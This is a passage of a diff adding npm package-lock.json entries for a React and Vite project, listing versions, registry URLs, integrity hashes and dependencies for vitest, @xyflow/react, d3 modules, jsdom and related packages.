+        "@babel/core": "^7.28.4",
+        "@babel/plugin-transform-react-jsx-self": "^7.27.1",
+        "@babel/plugin-transform-react-jsx-source": "^7.27.1",
+        "@rolldown/pluginutils": "1.0.0-beta.38",
+        "@types/babel__core": "^7.20.5",
+        "react-refresh": "^0.17.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || >=22.12.0"
+      },
+      "peerDependencies": {
+        "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0"
+      }
+    },
+    "node_modules/@vitest/expect": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.1.10.tgz",
+      "integrity": "sha512-YsCn+qAk1GWjQOWFEsEcL2gNQ0zmVmQu3T03qP6UyjhtmdtwtbuI+DASn/7iQB3HGTXkdBwGddzxPlmiql5vlA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@standard-schema/spec": "^1.1.0",
+        "@types/chai": "^5.2.2",
+        "@vitest/spy": "4.1.10",
+        "@vitest/utils": "4.1.10",
+        "chai": "^6.2.2",
+        "tinyrainbow": "^3.1.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/mocker": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.1.10.tgz",
+      "integrity": "sha512-v0xaezt+DKEmKfaxg133ldzADrwLGd7Ze1MfQQTYfvs8OqZIwbxyxaYURivwV7sWy5fqn3rH5uOrSp07bp44Ow==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/spy": "4.1.10",
+        "estree-walker": "^3.0.3",
+        "magic-string": "^0.30.21"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      },
+      "peerDependencies": {
+        "msw": "^2.4.9",
+        "vite": "^6.0.0 || ^7.0.0 || ^8.0.0"
+      },
+      "peerDependenciesMeta": {
+        "msw": {
+          "optional": true
+        },
+        "vite": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@vitest/pretty-format": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.1.10.tgz",
+      "integrity": "sha512-W1HsjSH4MXQ9YfmmhLAoIYf1HRfekQCGngeIgcei6MP5QQGWUe0gkopdZQaVCFO+JDJMrAJGwa5pRpNpvy4P8Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "tinyrainbow": "^3.1.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/runner": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.1.10.tgz",
+      "integrity": "sha512-IKI6kpIH+LmpROplyLwBBaCfMgOZOMsygVa6BARD6ahA04VRuJSa6OaVG7kRvSEMD870Vd91rSSw0eegtWyLGg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/utils": "4.1.10",
+        "pathe": "^2.0.3"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/snapshot": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.1.10.tgz",
+      "integrity": "sha512-xRkfOT1qpTAi/Ti4Y1LtfRc3kEuqxGw59eN2jN9pRWMtS/XDevekhcFSqvQqjUNGksfjMJu3Y+oJ+4Ypn2OaJw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/pretty-format": "4.1.10",
+        "@vitest/utils": "4.1.10",
+        "magic-string": "^0.30.21",
+        "pathe": "^2.0.3"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/spy": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.1.10.tgz",
+      "integrity": "sha512-PLf/Ugvoq5wO/b4rwYCR1h2PSIdXz7wnkQFMiUpLdtM7l6pqVFcQIBEHyT1+l+cj7mNwAfZHzqXqDyjvOuwbDw==",
+      "dev": true,
+      "license": "MIT",
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@vitest/utils": {
+      "version": "4.1.10",
+      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.1.10.tgz",
+      "integrity": "sha512-fy9am/HWxbaGt/Sawrp90vt6Y6jQwf1RX77cz3uwoJwJVMli/e1IEwRPnMNJ7vKfPTwo0diXifkpPvwH9v7nGA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@vitest/pretty-format": "4.1.10",
+        "convert-source-map": "^2.0.0",
+        "tinyrainbow": "^3.1.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/vitest"
+      }
+    },
+    "node_modules/@xyflow/react": {
+      "version": "12.11.0",
+      "resolved": "https://registry.npmjs.org/@xyflow/react/-/react-12.11.0.tgz",
+      "integrity": "sha512-na4IO33FSs2OS72hASgZDmTYwFAkef7Z74uBUVrong3ARmQQHfnRUVaCFn1kTt5LbS6pK03TbYjCPGLjLFfziA==",
+      "license": "MIT",
+      "dependencies": {
+        "@xyflow/system": "0.0.77",
+        "classcat": "^5.0.3",
+        "zustand": "^4.4.0"
+      },
+      "peerDependencies": {
+        "@types/react": ">=17",
+        "@types/react-dom": ">=17",
+        "react": ">=17",
+        "react-dom": ">=17"
+      },
+      "peerDependenciesMeta": {
+        "@types/react": {
+          "optional": true
+        },
+        "@types/react-dom": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/@xyflow/system": {
+      "version": "0.0.77",
+      "resolved": "https://registry.npmjs.org/@xyflow/system/-/system-0.0.77.tgz",
+      "integrity": "sha512-qCDCMCQAAgUu8yHnhloHG9F5mwPX5E+Wl8McpYIOPSSXfzFJJoZcwOcsDiAjitVKIg2de1WmJbCHfpcvxprsgg==",
+      "license": "MIT",
+      "dependencies": {
+        "@types/d3-drag": "^3.0.7",
+        "@types/d3-interpolate": "^3.0.4",
+        "@types/d3-selection": "^3.0.10",
+        "@types/d3-transition": "^3.0.8",
+        "@types/d3-zoom": "^3.0.8",
+        "d3-drag": "^3.0.0",
+        "d3-interpolate": "^3.0.1",
+        "d3-selection": "^3.0.0",
+        "d3-zoom": "^3.0.0"
+      }
+    },
+    "node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true,
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/aria-query": {
+      "version": "5.3.0",
+      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
+      "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "dequal": "^2.0.3"
+      }
+    },
+    "node_modules/assertion-error": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-2.0.1.tgz",
+      "integrity": "sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/baseline-browser-mapping": {
+      "version": "2.10.42",
+      "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.10.42.tgz",
+      "integrity": "sha512-c/jurFrDLyui7o1J86yLkRu4LMsTYcBohveus7/I2Hzdn9KIP2bdJPTue/lR1KH46enoPbD77GKeSYNdyPoD3Q==",
+      "license": "Apache-2.0",
+      "bin": {
+        "baseline-browser-mapping": "dist/cli.cjs"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/bidi-js": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/bidi-js/-/bidi-js-1.0.3.tgz",
+      "integrity": "sha512-RKshQI1R3YQ+n9YJz2QQ147P66ELpa1FQEg20Dk8oW9t2KgLbpDLLp9aGZ7y8WHSshDknG0bknqGw5/tyCs5tw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "require-from-string": "^2.0.2"
+      }
+    },
+    "node_modules/browserslist": {
+      "version": "4.28.5",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.5.tgz",
+      "integrity": "sha512-Cu2E6QejHWzuDMTkuwgpABFgDfZrXLQq5V13YOACZx4mFAG4IwGTbTfHPMr4WtxlHoXSM8FIuRwYYCz5XiabaQ==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/browserslist"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "MIT",
+      "dependencies": {
+        "baseline-browser-mapping": "^2.10.42",
+        "caniuse-lite": "^1.0.30001800",
+        "electron-to-chromium": "^1.5.387",
+        "node-releases": "^2.0.50",
+        "update-browserslist-db": "^1.2.3"
+      },
+      "bin": {
+        "browserslist": "cli.js"
+      },
+      "engines": {
+        "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+      }
+    },
+    "node_modules/caniuse-lite": {
+      "version": "1.0.30001803",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001803.tgz",
+      "integrity": "sha512-g/uHREV2ZpK9qMalCsWaxmA6ol+DX8GYhuf3T40RKoP+oL7vhRJh8LNt73PCjpnR6l14FzfPrB5Yux4PKm2meg==",
+      "funding": [
+        {
+          "type": "opencollective",
+          "url": "https://opencollective.com/browserslist"
+        },
+        {
+          "type": "tidelift",
+          "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+        },
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/ai"
+        }
+      ],
+      "license": "CC-BY-4.0"
+    },
+    "node_modules/chai": {
+      "version": "6.2.2",
+      "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz",
+      "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/classcat": {
+      "version": "5.0.5",
+      "resolved": "https://registry.npmjs.org/classcat/-/classcat-5.0.5.tgz",
+      "integrity": "sha512-JhZUT7JFcQy/EzW605k/ktHtncoo9vnyW/2GspNYwFlN1C/WmjuV/xtS04e9SOkL2sTdw0VAZ2UGCcQ9lR6p6w==",
+      "license": "MIT"
+    },
+    "node_modules/convert-source-map": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz",
+      "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==",
+      "license": "MIT"
+    },
+    "node_modules/css-tree": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz",
+      "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "mdn-data": "2.27.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
+      }
+    },
+    "node_modules/css.escape": {
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz",
+      "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/csstype": {
+      "version": "3.2.3",
+      "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz",
+      "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==",
+      "devOptional": true,
+      "license": "MIT"
+    },
+    "node_modules/d3-color": {
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz",
+      "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-dispatch": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz",
+      "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-drag": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz",
+      "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-dispatch": "1 - 3",
+        "d3-selection": "3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-ease": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz",
+      "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==",
+      "license": "BSD-3-Clause",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-interpolate": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz",
+      "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-color": "1 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-selection": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz",
+      "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-timer": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz",
+      "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==",
+      "license": "ISC",
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/d3-transition": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz",
+      "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-color": "1 - 3",
+        "d3-dispatch": "1 - 3",
+        "d3-ease": "1 - 3",
+        "d3-interpolate": "1 - 3",
+        "d3-timer": "1 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      },
+      "peerDependencies": {
+        "d3-selection": "2 - 3"
+      }
+    },
+    "node_modules/d3-zoom": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz",
+      "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==",
+      "license": "ISC",
+      "dependencies": {
+        "d3-dispatch": "1 - 3",
+        "d3-drag": "2 - 3",
+        "d3-interpolate": "1 - 3",
+        "d3-selection": "2 - 3",
+        "d3-transition": "2 - 3"
+      },
+      "engines": {
+        "node": ">=12"
+      }
+    },
+    "node_modules/data-urls": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz",
+      "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "whatwg-mimetype": "^5.0.0",
+        "whatwg-url": "^16.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/decimal.js": {
+      "version": "10.6.0",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+      "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/dequal": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz",
+      "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/dom-accessibility-api": {
+      "version": "0.5.16",
+      "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz",
+      "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==",
+      "dev": true,
+      "license": "MIT",
+      "peer": true
+    },
+    "node_modules/electron-to-chromium": {
+      "version": "1.5.389",
+      "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.389.tgz",
+      "integrity": "sha512-cEto7aeOqBfU1D+c5py5pE+ooscKE75JifxLBdFUZsqAxRS6y7kebtxAZvICszSl05gPjYHDTjY+lXpyGvpJbg==",
+      "license": "ISC"
+    },
+    "node_modules/entities": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz",
+      "integrity": "sha512-zwfzJecQ/Uej6tusMqwAqU/6KL2XaB2VZ2Jg54Je6ahNBGNH6Ek6g3jjNCF0fG9EWQKGZNddNjU5F1ZQn/sBnA==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">=20.19.0"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
+      }
+    },
+    "node_modules/es-module-lexer": {
+      "version": "2.3.1",
+      "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.1.tgz",
+      "integrity": "sha512-shc1dbU90Yl/xq1QrC7QRtfcwURZuVRfPhZbDoldJ1cn1gzDvBaBWlv0eFolj5+0znnPJz5TXLxsN77X/12KTA==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/esbuild": {
+      "version": "0.25.12",
+      "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
+      "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",
+      "hasInstallScript": true,
+      "license": "MIT",
+      "bin": {
+        "esbuild": "bin/esbuild"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "optionalDependencies": {
+        "@esbuild/aix-ppc64": "0.25.12",
+        "@esbuild/android-arm": "0.25.12",
+        "@esbuild/android-arm64": "0.25.12",
+        "@esbuild/android-x64": "0.25.12",
+        "@esbuild/darwin-arm64": "0.25.12",
+        "@esbuild/darwin-x64": "0.25.12",
+        "@esbuild/freebsd-arm64": "0.25.12",
+        "@esbuild/freebsd-x64": "0.25.12",
+        "@esbuild/linux-arm": "0.25.12",
+        "@esbuild/linux-arm64": "0.25.12",
+        "@esbuild/linux-ia32": "0.25.12",
+        "@esbuild/linux-loong64": "0.25.12",
+        "@esbuild/linux-mips64el": "0.25.12",
+        "@esbuild/linux-ppc64": "0.25.12",
+        "@esbuild/linux-riscv64": "0.25.12",
+        "@esbuild/linux-s390x": "0.25.12",
+        "@esbuild/linux-x64": "0.25.12",
+        "@esbuild/netbsd-arm64": "0.25.12",
+        "@esbuild/netbsd-x64": "0.25.12",
+        "@esbuild/openbsd-arm64": "0.25.12",
+        "@esbuild/openbsd-x64": "0.25.12",
+        "@esbuild/openharmony-arm64": "0.25.12",
+        "@esbuild/sunos-x64": "0.25.12",
+        "@esbuild/win32-arm64": "0.25.12",
+        "@esbuild/win32-ia32": "0.25.12",
+        "@esbuild/win32-x64": "0.25.12"
+      }
+    },
+    "node_modules/escalade": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
+      "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/estree-walker": {
+      "version": "3.0.3",
+      "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
+      "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@types/estree": "^1.0.0"
+      }
+    },
+    "node_modules/expect-type": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz",
+      "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "engines": {
+        "node": ">=12.0.0"
+      }
+    },
+    "node_modules/fdir": {
+      "version": "6.5.0",
+      "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+      "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=12.0.0"
+      },
+      "peerDependencies": {
+        "picomatch": "^3 || ^4"
+      },
+      "peerDependenciesMeta": {
+        "picomatch": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/fsevents": {
+      "version": "2.3.3",
+      "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
+      "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
+      "hasInstallScript": true,
+      "license": "MIT",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
+      }
+    },
+    "node_modules/gensync": {
+      "version": "1.0.0-beta.2",
+      "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+      "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/html-encoding-sniffer": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz",
+      "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@exodus/bytes": "^1.6.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/indent-string": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+      "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/is-potential-custom-element-name": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/is-potential-custom-element-name/-/is-potential-custom-element-name-1.0.1.tgz",
+      "integrity": "sha512-bCYeRA2rVibKZd+s2625gGnGF/t7DSqDs4dP7CrLA1m7jKWz6pps0LpYLJN8Q64HtmPKJ1hrN3nzPNKFEKOUiQ==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/js-tokens": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+      "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==",
+      "license": "MIT"
+    },
+    "node_modules/jsdom": {
+      "version": "29.1.1",
+      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-29.1.1.tgz",
+      "integrity": "sha512-ECi4Fi2f7BdJtUKTflYRTiaMxIB0O6zfR1fX0GXpUrf6flp8QIYn1UT20YQqdSOfk2dfkCwS8LAFoJDEppNK5Q==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@asamuzakjp/css-color": "^5.1.11",
+        "@asamuzakjp/dom-selector": "^7.1.1",
+        "@bramus/specificity": "^2.4.2",
+        "@csstools/css-syntax-patches-for-csstree": "^1.1.3",
+        "@exodus/bytes": "^1.15.0",
+        "css-tree": "^3.2.1",
+        "data-urls": "^7.0.0",
+        "decimal.js": "^10.6.0",
+        "html-encoding-sniffer": "^6.0.0",
+        "is-potential-custom-element-name": "^1.0.1",
+        "lru-cache": "^11.3.5",
+        "parse5": "^8.0.1",
+        "saxes": "^6.0.0",
+        "symbol-tree": "^3.2.4",
+        "tough-cookie": "^6.0.1",
+        "undici": "^7.25.0",
+        "w3c-xmlserializer": "^5.0.0",
+        "webidl-conversions": "^8.0.1",
+        "whatwg-mimetype": "^5.0.0",
+        "whatwg-url": "^16.0.1",
+        "xml-name-validator": "^5.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.13.0 || >=24.0.0"
+      },
+      "peerDependencies": {
+        "canvas": "^3.0.0"
+      },
+      "peerDependenciesMeta": {
+        "canvas": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/jsdom/node_modules/lru-cache": {
+      "version": "11.5.2",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.2.tgz",
+      "integrity": "sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "engines": {
